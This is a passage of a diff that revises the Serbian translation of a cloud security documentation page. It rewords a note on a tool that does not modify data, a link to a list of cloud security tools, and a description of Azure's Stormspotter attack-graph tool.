je namenjen da dopuni manuelni pentesting. -- Ne kreira niti menja bilo kakve podatke unutar cloud okruženja. +- Ne kreira niti modifikuje bilo kakve podatke unutar cloud okruženja. -### Više lista alata za cloud bezbednost +### Više lista cloud bezbednosnih alata - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec) @@ -412,7 +412,7 @@ azure-security/ ### Attack Graph -[**Stormspotter** ](https://github.com/Azure/Stormspotter) kreira “graf napada” resursa u Azure pretplati. Omogućava red timovima i pentesterima da vizualizuju površinu napada i mogućnosti prebacivanja unutar zakupca, i pojačava vaše branioca da brzo orijentišu i prioritizuju rad na odgovoru na incidente. +[**Stormspotter** ](https://github.com/Azure/Stormspotter) kreira “graf napada” resursa u Azure pretplati. Omogućava red timovima i pentesterima da vizualizuju površinu napada i mogućnosti pivotiranja unutar tenanta, i pojačava vaše odbrambene timove da brzo orijentišu i prioritizuju rad na incidentima. ### Office365